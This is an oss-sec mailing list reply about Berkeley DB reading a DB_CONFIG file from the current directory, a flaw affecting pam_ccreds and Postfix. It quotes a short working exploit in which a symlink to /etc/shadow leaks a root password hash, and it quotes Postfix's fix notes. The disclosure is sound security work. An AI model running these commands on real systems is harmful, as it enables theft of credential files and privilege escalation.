oss-sec mailing list archives
Re: Berkeley DB reads DB_CONFIG from cwd
From: Solar Designer <solar () openwall com>
Date: Wed, 14 Jun 2017 22:38:26 +0200
On Sun, Jun 11, 2017 at 12:06:13AM +0200, Jakub Wilk wrote:
Apparently Berkeley DB reads the DB_CONFIG configuration file from the current working directory by default[*]. This is surprising and AFAICT undocumented. Here's how to exploit it against pam_ccreds: $ cat /etc/shadow cat: /etc/shadow: Permission denied $ ln -sf /etc/shadow DB_CONFIG $ /sbin/ccreds_chkpwd moo < /dev/null BDB1584 line 1: root:$1$QRCEVRMX$sPppjXE42AZnUPuEWf87D.:17327:0:99999:7:::: incorrect name-value pair (The above was tested on Debian jessie.) In the past, nss_db was also exploitable: CVE-2010-0826 [*] More precisely, this seem to happen when you call db_create() with dbenv=NULL; or if you use the dbm_open() function.
Postfix "3.2.2 and legacy releases 3.1.6, 3.0.10 and 2.11.10" were released working around this issue: http://www.postfix.org/announcements/postfix-3.2.2.html * Security: Berkeley DB versions 2 and later try to read settings from a file DB_CONFIG in the current directory. This undocumented feature may introduce undisclosed vulnerabilities resulting in privilege escalation with Postfix set-gid programs (postdrop, postqueue) before they chdir to the Postfix queue directory, and with the postmap and postalias commands depending on whether the user's current directory is writable by other users. This fix does not change Postfix behavior for Berkeley DB versions < 3, but it does reduce postmap and postalias 'create' performance with Berkeley DB versions 3.0 .. 4.6. The corresponding change log entry is from June 11 - looks like same day as Jakub's posting. Alexander
Current thread:
- Berkeley DB reads DB_CONFIG from cwd Jakub Wilk (Jun 10)
- Re: Berkeley DB reads DB_CONFIG from cwd Solar Designer (Jun 14)
- Re: Berkeley DB reads DB_CONFIG from cwd Solar Designer (Jun 15)
- Re: Berkeley DB reads DB_CONFIG from cwd Ritwik Ghoshal (Jun 15)